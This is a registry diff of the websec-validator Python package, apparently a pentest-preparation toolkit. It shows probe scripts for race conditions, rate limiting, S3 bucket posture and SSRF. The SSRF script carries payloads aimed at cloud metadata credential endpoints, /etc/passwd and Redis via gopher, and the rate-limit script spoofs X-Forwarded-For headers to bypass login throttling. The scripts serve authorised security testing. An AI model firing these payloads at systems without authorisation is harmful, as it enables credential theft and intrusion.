websec-validator 0.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. websec_validator/__init__.py +14 -0
  2. websec_validator/briefing.py +218 -0
  3. websec_validator/calibration.json +75 -0
  4. websec_validator/calibration.py +226 -0
  5. websec_validator/cli.py +395 -0
  6. websec_validator/constitution.py +81 -0
  7. websec_validator/corpus.json +49 -0
  8. websec_validator/dynamic.py +249 -0
  9. websec_validator/extractors/__init__.py +56 -0
  10. websec_validator/extractors/auth.py +77 -0
  11. websec_validator/extractors/authz.py +130 -0
  12. websec_validator/extractors/base.py +101 -0
  13. websec_validator/extractors/client_exposure.py +48 -0
  14. websec_validator/extractors/graphql.py +71 -0
  15. websec_validator/extractors/iac_ci.py +65 -0
  16. websec_validator/extractors/integrations.py +55 -0
  17. websec_validator/extractors/routes.py +215 -0
  18. websec_validator/extractors/schemas.py +75 -0
  19. websec_validator/extractors/stack.py +80 -0
  20. websec_validator/extractors/surface.py +86 -0
  21. websec_validator/extractors/tenant.py +33 -0
  22. websec_validator/findings.py +199 -0
  23. websec_validator/probes.py +79 -0
  24. websec_validator/proof.py +96 -0
  25. websec_validator/recon.py +28 -0
  26. websec_validator/report.py +114 -0
  27. websec_validator/scanners.py +248 -0
  28. websec_validator/templates/probes/bola-cross-tenant.sh +192 -0
  29. websec_validator/templates/probes/bola-write-verbs.py +147 -0
  30. websec_validator/templates/probes/compare-roles.sh +69 -0
  31. websec_validator/templates/probes/dlp-bypass-offline.py +149 -0
  32. websec_validator/templates/probes/hs256-brute-force.py +90 -0
  33. websec_validator/templates/probes/jwt-attacks.sh +161 -0
  34. websec_validator/templates/probes/mass-assignment.py +201 -0
  35. websec_validator/templates/probes/race-conditions.py +144 -0
  36. websec_validator/templates/probes/rate-limit-burst.sh +136 -0
  37. websec_validator/templates/probes/s3-assess.sh +120 -0
  38. websec_validator/templates/probes/ssrf-probes.sh +189 -0
  39. websec_validator/templates/probes/webhook-forgery.py +113 -0
  40. websec_validator/templates/reports/FINDINGS-SUMMARY.md.template +75 -0
  41. websec_validator/templates/reports/access-control-matrix.md.template +65 -0
  42. websec_validator/templates/reports/findings-triage.md.template +28 -0
  43. websec_validator/templates/reports/pentest-handover-brief.md.template +121 -0
  44. websec_validator/templates/reports/per-tool-FINDINGS.md.template +37 -0
  45. websec_validator-0.2.0.dist-info/METADATA +232 -0
  46. websec_validator-0.2.0.dist-info/RECORD +50 -0
  47. websec_validator-0.2.0.dist-info/WHEEL +5 -0
  48. websec_validator-0.2.0.dist-info/entry_points.txt +2 -0
  49. websec_validator-0.2.0.dist-info/licenses/LICENSE +21 -0
  50. websec_validator-0.2.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,144 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ Race condition probe — fires N parallel requests at race-prone endpoints
4
+ and checks if the server's invariants hold.
5
+
6
+ Common race targets:
7
+ - "claim" / "assign" endpoints — only one parallel claim should succeed
8
+ - status / state toggles — multiple parallel calls should converge
9
+ - inventory / quota decrements — should not allow over-spend
10
+ - tag/label-add endpoints — should dedupe
11
+
12
+ For each target:
13
+ - Fire PARALLEL_REQUESTS in parallel
14
+ - Count successes (200/201)
15
+ - Compare to expected_unique (usually 1 — only one assignment should win)
16
+ - If success_count > expected_unique -> race condition likely
17
+
18
+ Uses async httpx for true parallelism (synchronous loops can't trigger races).
19
+
20
+ Install: pip install httpx
21
+ """
22
+ import asyncio, httpx, json, sys
23
+ from pathlib import Path
24
+ from collections import Counter
25
+
26
+ ROOT = Path(__file__).resolve().parents[2].parent
27
+ fixture = json.loads((ROOT / 'security/pentest-prep/fixtures/test-context.json').read_text())
28
+ ENV = {}
29
+ for line in (ROOT / 'security/zap/.env').read_text().splitlines():
30
+ if '=' in line and not line.lstrip().startswith('#'):
31
+ k, v = line.split('=', 1); ENV[k.strip()] = v.strip()
32
+
33
+ TARGET = fixture['target']
34
+ A_GROUP = fixture['agent_a']['group_id']
35
+ A_CONV = fixture['agent_a']['conversation_ids'][0]
36
+ A_USER_ID = fixture['agent_a'].get('user_id', '<AGENT_A_USER_ID>')
37
+
38
+ import subprocess
39
+ def login(u, p):
40
+ r = subprocess.run(['curl','-fsS','-X','POST',f"{TARGET}/api/auth/login",
41
+ '-H','Content-Type: application/json',
42
+ '-d',json.dumps({'email':u,'password':p})],
43
+ capture_output=True, text=True)
44
+ return json.loads(r.stdout)['tokens']['accessToken']
45
+
46
+ AGENT_TOK = login(ENV['ZAP_AGENT_USER'], ENV['ZAP_AGENT_PASS'])
47
+
48
+ PARALLEL = 50 # number of concurrent requests per target
49
+
50
+ # PROJECT-SPECIFIC START
51
+ # TODO: replace these with the race-prone endpoints from your project.
52
+ # Common shapes:
53
+ # - assign / claim: one winner expected
54
+ # - state toggle (snooze, archive, status flip): converges to one state
55
+ # - tag/label add: deduplicates
56
+ # - inventory decrement, points spend, quota use: must not over-spend
57
+ TARGETS = [
58
+ {
59
+ 'name': 'assign-resource',
60
+ 'method': 'POST',
61
+ 'url': f"{TARGET}/api/groups/{A_GROUP}/conversations/{A_CONV}/assign",
62
+ 'payload': {'agentId': A_USER_ID},
63
+ 'expected_unique': 1,
64
+ 'note': '50 parallel assigns to self -- should only one succeed (or all idempotent 200s if backend dedupes)',
65
+ },
66
+ {
67
+ 'name': 'snooze-resource',
68
+ 'method': 'POST',
69
+ 'url': f"{TARGET}/api/groups/{A_GROUP}/conversations/{A_CONV}/snooze",
70
+ 'payload': {'snoozeUntil': '2027-01-01T00:00:00Z'},
71
+ 'expected_unique': 1,
72
+ 'note': 'Toggle endpoint -- multiple parallel calls should converge to one state',
73
+ },
74
+ {
75
+ 'name': 'status-toggle',
76
+ 'method': 'PUT',
77
+ 'url': f"{TARGET}/api/users/me/status",
78
+ 'payload': {'status': 'online'},
79
+ 'expected_unique': 1,
80
+ 'note': 'User status update -- parallel calls should converge',
81
+ },
82
+ {
83
+ 'name': 'tag-add',
84
+ 'method': 'POST',
85
+ 'url': f"{TARGET}/api/groups/{A_GROUP}/conversations/{A_CONV}/tags",
86
+ 'payload': {'tagId': 'race-test-tag-xxxxxxxx'},
87
+ 'expected_unique': 1,
88
+ 'note': '50 parallel adds of same tag -- should only add once if dedupe works',
89
+ },
90
+ ]
91
+ # PROJECT-SPECIFIC END
92
+
93
+ async def fire(client, t):
94
+ """Single request, return (status_code, response_body_preview)"""
95
+ try:
96
+ r = await client.request(
97
+ t['method'], t['url'],
98
+ json=t['payload'],
99
+ headers={'Authorization': f'Bearer {AGENT_TOK}'},
100
+ timeout=30.0,
101
+ )
102
+ return (r.status_code, r.text[:120])
103
+ except Exception as e:
104
+ return (None, str(e)[:120])
105
+
106
+ async def run_target(t):
107
+ print(f" Firing {PARALLEL} parallel {t['method']} to {t['url'][len(TARGET):]}")
108
+ async with httpx.AsyncClient() as client:
109
+ results = await asyncio.gather(*[fire(client, t) for _ in range(PARALLEL)])
110
+ codes = Counter(r[0] for r in results)
111
+ success = sum(1 for r in results if r[0] and 200 <= r[0] < 300)
112
+ race_likely = success > t['expected_unique']
113
+ print(f" -> status counts: {dict(codes)}, successes: {success}, expected: {t['expected_unique']}")
114
+ if race_likely:
115
+ print(f" !! RACE CONDITION SUSPECTED -- {success} successes vs {t['expected_unique']} expected")
116
+ return {
117
+ 'name': t['name'],
118
+ 'parallel': PARALLEL,
119
+ 'status_counts': dict(codes),
120
+ 'success_count': success,
121
+ 'expected_unique': t['expected_unique'],
122
+ 'race_suspected': race_likely,
123
+ 'note': t['note'],
124
+ 'sample_responses': [r for r in results if r[0] and r[0] < 500][:3],
125
+ }
126
+
127
+ async def main():
128
+ findings = []
129
+ for t in TARGETS:
130
+ print(f"\n=== {t['name']}: {t['note']}")
131
+ f = await run_target(t)
132
+ findings.append(f)
133
+ out = ROOT / 'security/pentest-prep/reports/race-conditions/findings.json'
134
+ out.parent.mkdir(parents=True, exist_ok=True)
135
+ out.write_text(json.dumps(findings, indent=2))
136
+ crit = sum(1 for f in findings if f['race_suspected'])
137
+ print(f"\n=== Summary ===")
138
+ print(f" race suspected on {crit}/{len(findings)} endpoints")
139
+ print(f" saved to {out}")
140
+ return crit
141
+
142
+ if __name__ == '__main__':
143
+ rc = asyncio.run(main())
144
+ sys.exit(1 if rc > 0 else 0)
@@ -0,0 +1,136 @@
1
+ #!/usr/bin/env bash
2
+ #
3
+ # rate-limit-burst.sh — verify rate limiters actually fire under load.
4
+ #
5
+ # Three tests:
6
+ # 1. AUTH_RATE_LIMIT — N failed login attempts; expect a 429 by attempt K
7
+ # (the project's documented per-IP login throttle).
8
+ # 2. General apiRateLimiter — burst of GET requests against a public health
9
+ # endpoint; expect 429s once over the per-IP budget.
10
+ # 3. X-Forwarded-For bypass — repeat (1) but rotate the XFF header between
11
+ # requests. If the backend honors XFF for rate-limit keying WITHOUT
12
+ # verifying the proxy chain, attackers bypass the limiter.
13
+ #
14
+ # Usage: ./rate-limit-burst.sh
15
+ set -euo pipefail
16
+ cd "$(dirname "$0")"
17
+
18
+ [[ -f .env ]] || { echo "No .env found" >&2; exit 1; }
19
+
20
+ read_env() {
21
+ local key="$1"
22
+ python3 -c "
23
+ for l in open('.env'):
24
+ l = l.rstrip('\n')
25
+ if l.startswith('#') or '=' not in l: continue
26
+ k, v = l.split('=', 1)
27
+ if k.strip() == '$key':
28
+ print(v); break
29
+ "
30
+ }
31
+
32
+ TARGET="$(read_env ZAP_TARGET)"
33
+ [[ -n "$TARGET" ]] || { echo "ZAP_TARGET missing from .env" >&2; exit 2; }
34
+
35
+ # TODO: adjust login path and public health path to match your API.
36
+ LOGIN_PATH="/api/auth/login"
37
+ HEALTH_PATH="/api/health"
38
+
39
+ PASS_COUNT=0
40
+ FAIL_COUNT=0
41
+ FAIL_LINES=()
42
+
43
+ # === Test 1: AUTH_RATE_LIMIT ===
44
+ echo "=== Test 1: AUTH_RATE_LIMIT (expected ≥1 of 10 attempts to be 429) ==="
45
+ codes_seen=()
46
+ for i in $(seq 1 10); do
47
+ code=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET$LOGIN_PATH" \
48
+ -H 'Content-Type: application/json' \
49
+ -d '{"email":"rl-test@example.com","password":"wrong"}')
50
+ codes_seen+=("$code")
51
+ printf ' attempt %2d → %s\n' "$i" "$code"
52
+ done
53
+ if printf '%s\n' "${codes_seen[@]}" | grep -q '^429$'; then
54
+ echo " PASS AUTH_RATE_LIMIT fires (saw 429)"
55
+ PASS_COUNT=$((PASS_COUNT+1))
56
+ else
57
+ echo " FAIL AUTH_RATE_LIMIT never fired — limiter may be misconfigured"
58
+ FAIL_COUNT=$((FAIL_COUNT+1))
59
+ FAIL_LINES+=("AUTH_RATE_LIMIT did not fire in 10 attempts")
60
+ fi
61
+ echo
62
+
63
+ # === Test 2: General health burst ===
64
+ echo "=== Test 2: 200 GET ${HEALTH_PATH} requests in ~10s ==="
65
+ codes_file=$(mktemp)
66
+ trap 'rm -f "$codes_file"' EXIT
67
+ seq 1 200 | xargs -n 1 -P 20 -I{} curl -s -o /dev/null -w '%{http_code}\n' "$TARGET$HEALTH_PATH" > "$codes_file"
68
+
69
+ total=$(wc -l < "$codes_file" | tr -d ' ')
70
+ two_oh_oh=$(grep -c '^200$' "$codes_file" || true)
71
+ four_two_nine=$(grep -c '^429$' "$codes_file" || true)
72
+ other=$((total - two_oh_oh - four_two_nine))
73
+ echo " Total responses: $total"
74
+ echo " 200: $two_oh_oh"
75
+ echo " 429: $four_two_nine"
76
+ echo " Other: $other"
77
+ if [[ "$four_two_nine" -gt 0 ]]; then
78
+ echo " INFO apiRateLimiter fires under burst (saw 429s)"
79
+ else
80
+ echo " INFO apiRateLimiter did NOT fire — 200 reqs is below threshold."
81
+ echo " (general limit is per-IP; for a pentest, escalate to ~5000 reqs)"
82
+ fi
83
+ echo
84
+
85
+ # === Test 3: X-Forwarded-For bypass attempt ===
86
+ echo "=== Test 3: try XFF spoof to bypass AUTH_RATE_LIMIT ==="
87
+ echo " (If the backend respects 'trust proxy = 1' correctly, spoofed XFF"
88
+ echo " headers from us — a direct client — should be IGNORED for rate-limit"
89
+ echo " keying.)"
90
+
91
+ # First, get rate-limited so subsequent requests are blocked
92
+ for i in $(seq 1 7); do
93
+ curl -s -o /dev/null -X POST "$TARGET$LOGIN_PATH" \
94
+ -H 'Content-Type: application/json' \
95
+ -d '{"email":"xff-test@example.com","password":"wrong"}' >/dev/null
96
+ done
97
+
98
+ code_baseline=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET$LOGIN_PATH" \
99
+ -H 'Content-Type: application/json' \
100
+ -d '{"email":"xff-test@example.com","password":"wrong"}')
101
+ echo " baseline (no XFF): $code_baseline"
102
+
103
+ spoofed_pass_count=0
104
+ for xff in "1.2.3.4" "10.0.0.1" "192.168.1.99" "127.0.0.1" "1.1.1.1, 2.2.2.2"; do
105
+ code=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET$LOGIN_PATH" \
106
+ -H 'Content-Type: application/json' \
107
+ -H "X-Forwarded-For: $xff" \
108
+ -d '{"email":"xff-test@example.com","password":"wrong"}')
109
+ printf ' XFF=%-25s → %s\n' "$xff" "$code"
110
+ if [[ "$code_baseline" == "429" && "$code" != "429" ]]; then
111
+ spoofed_pass_count=$((spoofed_pass_count + 1))
112
+ fi
113
+ done
114
+
115
+ if [[ "$code_baseline" != "429" ]]; then
116
+ echo " SKIP AUTH limiter not in 429 state for baseline — can't test bypass"
117
+ elif [[ $spoofed_pass_count -gt 0 ]]; then
118
+ echo " FAIL XFF spoof bypassed AUTH_RATE_LIMIT ($spoofed_pass_count probes)"
119
+ FAIL_COUNT=$((FAIL_COUNT+1))
120
+ FAIL_LINES+=("XFF spoof bypasses AUTH_RATE_LIMIT — limiter may be keyed on req.ip without trust proxy validation")
121
+ else
122
+ echo " PASS XFF spoof did NOT bypass the limiter (all stayed 429)"
123
+ PASS_COUNT=$((PASS_COUNT+1))
124
+ fi
125
+ echo
126
+
127
+ echo "=== Summary ==="
128
+ echo " PASS: $PASS_COUNT"
129
+ echo " FAIL: $FAIL_COUNT"
130
+ if [[ $FAIL_COUNT -gt 0 ]]; then
131
+ echo
132
+ echo "FAILED:"
133
+ printf ' - %s\n' "${FAIL_LINES[@]}"
134
+ exit 1
135
+ fi
136
+ echo "Rate limiters behave as expected."
@@ -0,0 +1,120 @@
1
+ #!/usr/bin/env bash
2
+ # S3 bucket posture assessment.
3
+ # ZAP can't meaningfully test an S3 bucket, so this checks it directly with the AWS CLI:
4
+ # public-access posture, ACL/policy exposure, CORS, encryption, and anonymous reachability.
5
+ #
6
+ # ./s3-assess.sh # uses defaults below
7
+ # ./s3-assess.sh my-bucket us-east-2
8
+ # BUCKET=x REGION=y ./s3-assess.sh
9
+ #
10
+ # Uses your configured AWS credentials. Read-only — never writes, deletes, or changes
11
+ # anything. Anonymous probes use --no-sign-request / unauthenticated curl.
12
+ set -uo pipefail
13
+
14
+ BUCKET="${1:-${BUCKET:-<UPLOADS_BUCKET>}}"
15
+ REGION="${2:-${REGION:-us-east-1}}"
16
+
17
+ pass=0; warn=0; fail=0
18
+ ok() { echo " [ OK ] $*"; pass=$((pass+1)); }
19
+ note() { echo " [INFO] $*"; }
20
+ wn() { echo " [WARN] $*"; warn=$((warn+1)); }
21
+ bad() { echo " [FAIL] $*"; fail=$((fail+1)); }
22
+ hdr() { echo; echo "== $* =="; }
23
+
24
+ command -v aws >/dev/null || { echo "aws CLI not found. Install it or run from a box that has it."; exit 1; }
25
+ echo "Assessing s3://$BUCKET (region $REGION) as: $(aws sts get-caller-identity --query Arn --output text 2>/dev/null || echo 'UNKNOWN')"
26
+
27
+ hdr "Bucket exists / reachable"
28
+ if aws s3api head-bucket --bucket "$BUCKET" --region "$REGION" 2>/tmp/_s3err; then
29
+ ok "head-bucket succeeded"
30
+ else
31
+ bad "head-bucket failed: $(tr -d '\n' </tmp/_s3err). Check bucket name/region/credentials."
32
+ echo; echo "Cannot continue without bucket access."; exit 1
33
+ fi
34
+
35
+ hdr "Public Access Block (want all four = true)"
36
+ PAB=$(aws s3api get-public-access-block --bucket "$BUCKET" --region "$REGION" \
37
+ --query 'PublicAccessBlockConfiguration' --output text 2>/dev/null)
38
+ if [[ -z "$PAB" ]]; then
39
+ bad "No Public Access Block configured — bucket can be made public via ACL/policy."
40
+ else
41
+ echo " BlockPublicAcls/IgnorePublicAcls/BlockPublicPolicy/RestrictPublicBuckets = $PAB"
42
+ if [[ "$PAB" == "True True True True" || "$PAB" == "true true true true" ]]; then
43
+ ok "All public access blocked at the bucket level."
44
+ else
45
+ wn "One or more public-access-block settings are OFF — review above."
46
+ fi
47
+ fi
48
+
49
+ hdr "Bucket policy status (IsPublic should be False)"
50
+ PS=$(aws s3api get-bucket-policy-status --bucket "$BUCKET" --region "$REGION" \
51
+ --query 'PolicyStatus.IsPublic' --output text 2>/dev/null)
52
+ case "$PS" in
53
+ False|false) ok "Policy status: not public." ;;
54
+ True|true) bad "Bucket policy is PUBLIC. Inspect the policy below." ;;
55
+ *) note "No bucket policy (or none readable) — policy status N/A." ;;
56
+ esac
57
+
58
+ hdr "Bucket policy document"
59
+ if aws s3api get-bucket-policy --bucket "$BUCKET" --region "$REGION" --query Policy --output text 2>/dev/null > /tmp/_s3pol && [[ -s /tmp/_s3pol ]]; then
60
+ python3 -m json.tool < /tmp/_s3pol 2>/dev/null | sed 's/^/ /' || sed 's/^/ /' /tmp/_s3pol
61
+ if grep -qE '"Principal"[[:space:]]*:[[:space:]]*"\*"|"AWS"[[:space:]]*:[[:space:]]*"\*"' /tmp/_s3pol; then
62
+ wn 'Policy contains a wildcard Principal ("*") — confirm it is paired with a tight Condition, not an open Allow.'
63
+ else
64
+ ok "No wildcard Principal in policy."
65
+ fi
66
+ else
67
+ note "No bucket policy set."
68
+ fi
69
+
70
+ hdr "Bucket ACL (look for AllUsers / AuthenticatedUsers grants)"
71
+ ACL=$(aws s3api get-bucket-acl --bucket "$BUCKET" --region "$REGION" \
72
+ --query "Grants[?contains(Grantee.URI || 'x','AllUsers') || contains(Grantee.URI || 'x','AuthenticatedUsers')].[Grantee.URI,Permission]" \
73
+ --output text 2>/dev/null)
74
+ if [[ -z "$ACL" ]]; then
75
+ ok "No AllUsers/AuthenticatedUsers ACL grants."
76
+ else
77
+ bad "Public/cross-account ACL grants found: $ACL"
78
+ fi
79
+
80
+ hdr "Default encryption (want AES256 or aws:kms)"
81
+ ENC=$(aws s3api get-bucket-encryption --bucket "$BUCKET" --region "$REGION" \
82
+ --query 'ServerSideEncryptionConfiguration.Rules[0].ApplyServerSideEncryptionByDefault.SSEAlgorithm' \
83
+ --output text 2>/dev/null)
84
+ [[ -n "$ENC" && "$ENC" != "None" ]] && ok "Default encryption: $ENC" || wn "No default encryption configured."
85
+
86
+ hdr "CORS configuration (watch for AllowedOrigins '*')"
87
+ CORS=$(aws s3api get-bucket-cors --bucket "$BUCKET" --region "$REGION" --output json 2>/dev/null)
88
+ if [[ -z "$CORS" ]]; then
89
+ ok "No CORS configuration (or none readable)."
90
+ else
91
+ echo "$CORS" | sed 's/^/ /'
92
+ echo "$CORS" | grep -q '"\*"' && wn "CORS allows '*' somewhere — confirm that's intended for an uploads bucket." || ok "No wildcard in CORS."
93
+ fi
94
+
95
+ hdr "Versioning"
96
+ VER=$(aws s3api get-bucket-versioning --bucket "$BUCKET" --region "$REGION" --query Status --output text 2>/dev/null)
97
+ [[ "$VER" == "Enabled" ]] && ok "Versioning enabled." || note "Versioning: ${VER:-not enabled}."
98
+
99
+ hdr "Anonymous access probes (should all be DENIED)"
100
+ if aws s3 ls "s3://$BUCKET" --no-sign-request --region "$REGION" >/dev/null 2>&1; then
101
+ bad "Anonymous ListBucket SUCCEEDED — bucket lists objects without credentials!"
102
+ else
103
+ ok "Anonymous ListBucket denied."
104
+ fi
105
+ CODE=$(curl -s -o /dev/null -w '%{http_code}' "https://${BUCKET}.s3.${REGION}.amazonaws.com/" 2>/dev/null)
106
+ case "$CODE" in
107
+ 403) ok "Anonymous HTTP GET on bucket root → 403 (denied)." ;;
108
+ 200) bad "Anonymous HTTP GET on bucket root → 200 (bucket index is PUBLIC)!" ;;
109
+ *) note "Anonymous HTTP GET on bucket root → HTTP $CODE." ;;
110
+ esac
111
+
112
+ echo; echo "=================================================="
113
+ echo "Summary for s3://$BUCKET : ${pass} OK, ${warn} WARN, ${fail} FAIL"
114
+ echo "=================================================="
115
+ echo "Reminder — also test the UPLOAD PATH (these are app-layer, not bucket-layer):"
116
+ echo " - content-type bypass on the upload endpoint (mime sniffing vs claimed type)"
117
+ echo " - path traversal in uploaded filenames (../ in the key)"
118
+ echo " - whether media signed-URL / media-token can be forged or replayed"
119
+ rm -f /tmp/_s3err /tmp/_s3pol
120
+ [[ $fail -gt 0 ]] && exit 1 || exit 0
@@ -0,0 +1,189 @@
1
+ #!/usr/bin/env bash
2
+ #
3
+ # ssrf-probes.sh — manual SSRF probe.
4
+ #
5
+ # Admin endpoints often accept URL-shaped fields (SSO domain, integration base
6
+ # URLs, etc.). If a handler fetches those URLs server-side without validating
7
+ # the host, an attacker who controls an admin account (or finds an admin auth
8
+ # bypass) can force the backend to fetch AWS IMDS credentials, internal
9
+ # services, or arbitrary intranet hosts.
10
+ #
11
+ # This probe attempts each known URL-accepting admin endpoint with classic
12
+ # SSRF targets:
13
+ # - 169.254.169.254 — AWS EC2 IMDSv1 metadata endpoint
14
+ # - 169.254.170.2 — ECS task metadata
15
+ # - 127.0.0.1:3000 — localhost
16
+ # - 10.0.0.1 — RFC1918 internal
17
+ # - file:// — local file scheme (some HTTP libraries support this)
18
+ #
19
+ # Expected: each request returns 400/403 (input validation refuses the host),
20
+ # or 200 with an error body that does NOT contain credential material / IMDS
21
+ # response shapes. A response time > 5s on an IMDS URL (without immediate
22
+ # rejection) is a strong signal the backend actually fetched it.
23
+ #
24
+ # Usage:
25
+ # 1. Set ZAP_ADMIN_USER / ZAP_ADMIN_PASS in .env.
26
+ # 2. ./ssrf-probes.sh
27
+ set -euo pipefail
28
+ cd "$(dirname "$0")"
29
+
30
+ [[ -f .env ]] || { echo "No .env found" >&2; exit 1; }
31
+
32
+ read_env() {
33
+ local key="$1"
34
+ python3 -c "
35
+ for l in open('.env'):
36
+ l = l.rstrip('\n')
37
+ if l.startswith('#') or '=' not in l: continue
38
+ k, v = l.split('=', 1)
39
+ if k.strip() == '$key':
40
+ print(v); break
41
+ "
42
+ }
43
+
44
+ TARGET="$(read_env ZAP_TARGET)"
45
+ USER="$(read_env ZAP_ADMIN_USER)"
46
+ PASS="$(read_env ZAP_ADMIN_PASS)"
47
+
48
+ [[ -n "$TARGET" && -n "$USER" && -n "$PASS" ]] || {
49
+ echo "ERROR: ZAP_TARGET / ZAP_ADMIN_USER / ZAP_ADMIN_PASS required in .env" >&2
50
+ echo "SSRF probes need an admin account (system/integration permissions)" >&2
51
+ exit 2
52
+ }
53
+
54
+ echo "==> minting admin token..."
55
+ TOKEN=$(curl -fsS -X POST "$TARGET/api/auth/login" \
56
+ -H 'Content-Type: application/json' \
57
+ -d "$(jq -nc --arg e "$USER" --arg p "$PASS" '{email:$e,password:$p}')" \
58
+ | jq -r '.tokens.accessToken')
59
+ [[ -n "$TOKEN" && "$TOKEN" != "null" ]] || { echo "admin login failed" >&2; exit 3; }
60
+
61
+ SSRF_TARGETS=(
62
+ "http://169.254.169.254/latest/meta-data/"
63
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
64
+ "http://169.254.170.2/v2/credentials/"
65
+ "http://127.0.0.1:3000/api/admin/users"
66
+ "http://10.0.0.1/"
67
+ "http://[::1]:3000/"
68
+ "file:///etc/passwd"
69
+ "gopher://127.0.0.1:6379/_INFO"
70
+ )
71
+
72
+ FAIL_COUNT=0
73
+ WARN_COUNT=0
74
+ FAIL_LINES=()
75
+
76
+ PROBE_PUT() {
77
+ local label="$1" endpoint="$2" body_template="$3"
78
+ for url in "${SSRF_TARGETS[@]}"; do
79
+ local body
80
+ body=$(echo "$body_template" | sed "s|{SSRF}|$url|g")
81
+ local start end duration code body_resp
82
+ start=$(date +%s)
83
+ body_resp=$(curl -s -m 8 -w '\nHTTP_CODE:%{http_code}' -X PUT "$TARGET$endpoint" \
84
+ -H "Authorization: Bearer $TOKEN" \
85
+ -H 'Content-Type: application/json' \
86
+ -d "$body" 2>&1 || true)
87
+ end=$(date +%s)
88
+ duration=$((end - start))
89
+ code=$(echo "$body_resp" | grep -oE 'HTTP_CODE:[0-9]+' | cut -d: -f2)
90
+ body_clean=$(echo "$body_resp" | grep -v 'HTTP_CODE:' | head -c 200)
91
+ evaluate_response "$label" "PUT $endpoint url=$url" "$code" "$duration" "$body_clean"
92
+ done
93
+ }
94
+
95
+ PROBE_POST() {
96
+ local label="$1" endpoint="$2" body_template="$3"
97
+ for url in "${SSRF_TARGETS[@]}"; do
98
+ local body
99
+ body=$(echo "$body_template" | sed "s|{SSRF}|$url|g")
100
+ local start end duration code body_resp
101
+ start=$(date +%s)
102
+ body_resp=$(curl -s -m 8 -w '\nHTTP_CODE:%{http_code}' -X POST "$TARGET$endpoint" \
103
+ -H "Authorization: Bearer $TOKEN" \
104
+ -H 'Content-Type: application/json' \
105
+ -d "$body" 2>&1 || true)
106
+ end=$(date +%s)
107
+ duration=$((end - start))
108
+ code=$(echo "$body_resp" | grep -oE 'HTTP_CODE:[0-9]+' | cut -d: -f2)
109
+ body_clean=$(echo "$body_resp" | grep -v 'HTTP_CODE:' | head -c 200)
110
+ evaluate_response "$label" "POST $endpoint url=$url" "$code" "$duration" "$body_clean"
111
+ done
112
+ }
113
+
114
+ evaluate_response() {
115
+ local label="$1" probe="$2" code="$3" duration="$4" body="$5"
116
+ if echo "$body" | grep -qE 'AccessKeyId|SecretAccessKey|InstanceId|root:x:0:0|redis_version'; then
117
+ printf ' %-4s %s [code=%s, %ds] EVIDENCE OF SSRF in body!\n' FAIL "$probe" "$code" "$duration"
118
+ FAIL_COUNT=$((FAIL_COUNT+1))
119
+ FAIL_LINES+=("$label $probe — IMDS/file/redis content leaked")
120
+ return
121
+ fi
122
+ if [[ "$probe" == *"169.254.169.254"* || "$probe" == *"169.254.170.2"* ]]; then
123
+ if [[ "$duration" -gt 5 ]]; then
124
+ printf ' %-4s %s [code=%s, %ds] slow response — backend may have fetched IMDS\n' WARN "$probe" "$code" "$duration"
125
+ WARN_COUNT=$((WARN_COUNT+1))
126
+ return
127
+ fi
128
+ fi
129
+ if [[ "$code" == "400" || "$code" == "403" || "$code" == "422" ]]; then
130
+ printf ' %-4s %s [code=%s, %ds] validation rejected\n' PASS "$probe" "$code" "$duration"
131
+ return
132
+ fi
133
+ if [[ "$code" == "500" ]]; then
134
+ printf ' %-4s %s [code=%s, %ds] backend errored — verify it did not attempt the fetch\n' WARN "$probe" "$code" "$duration"
135
+ WARN_COUNT=$((WARN_COUNT+1))
136
+ return
137
+ fi
138
+ if [[ "$code" == "200" ]]; then
139
+ printf ' %-4s %s [code=%s, %ds] 200 OK no IMDS evidence (handled gracefully)\n' PASS "$probe" "$code" "$duration"
140
+ return
141
+ fi
142
+ printf ' %-4s %s [code=%s, %ds]\n' PASS "$probe" "$code" "$duration"
143
+ }
144
+
145
+ # PROJECT-SPECIFIC START
146
+ # These probes target the URL-accepting admin endpoints in your application.
147
+ # REPLACE them with your project's endpoints. Look for any admin handler that
148
+ # takes a URL/host/endpoint/domain field in its request body. Common shapes:
149
+ # - SSO settings (issuer URL, metadata URL, callback)
150
+ # - Integration config (webhook target, S3 endpoint, GraphQL URL)
151
+ # - "Test connection" endpoints
152
+
153
+ echo "=== SSO settings — typically accepts SSO domain / issuer URLs ==="
154
+ PROBE_PUT "sso-settings" "/api/auth/sso/settings" \
155
+ '{"enabled":true,"issuer":"{SSRF}","clientId":"x","clientSecret":"y","metadataUrl":"{SSRF}"}'
156
+
157
+ echo
158
+ echo "=== SSO test endpoint ==="
159
+ PROBE_POST "sso-test" "/api/auth/sso/test" '{"domain":"{SSRF}"}'
160
+
161
+ echo
162
+ echo "=== Integration settings — third-party base URL etc. ==="
163
+ PROBE_PUT "integrations" "/api/admin/integrations" \
164
+ '{"providerBaseUrl":"{SSRF}","providerApiKey":"x"}'
165
+
166
+ echo
167
+ echo "=== Integration test endpoints ==="
168
+ PROBE_POST "test-s3" "/api/admin/integrations/test/s3" \
169
+ '{"awsS3Endpoint":"{SSRF}","awsS3Bucket":"test","awsS3Region":"us-east-1","awsS3AccessKeyId":"AKIA","awsS3SecretAccessKey":"x"}'
170
+ PROBE_POST "test-graphql" "/api/admin/integrations/test/graphql" \
171
+ '{"graphqlUrl":"{SSRF}","apiKey":"x"}'
172
+ # PROJECT-SPECIFIC END
173
+
174
+ echo
175
+ echo "=== Summary ==="
176
+ echo " FAIL (definitive SSRF evidence): $FAIL_COUNT"
177
+ echo " WARN (suspicious — manual review): $WARN_COUNT"
178
+ if [[ $FAIL_COUNT -gt 0 ]]; then
179
+ echo
180
+ echo "REAL SSRF FINDINGS:"
181
+ printf ' - %s\n' "${FAIL_LINES[@]}"
182
+ exit 1
183
+ fi
184
+ if [[ $WARN_COUNT -gt 0 ]]; then
185
+ echo
186
+ echo "Review the WARN lines manually — they may indicate the backend"
187
+ echo "is fetching the URL even though no credential content leaked back."
188
+ fi
189
+ echo "No SSRF evidence found."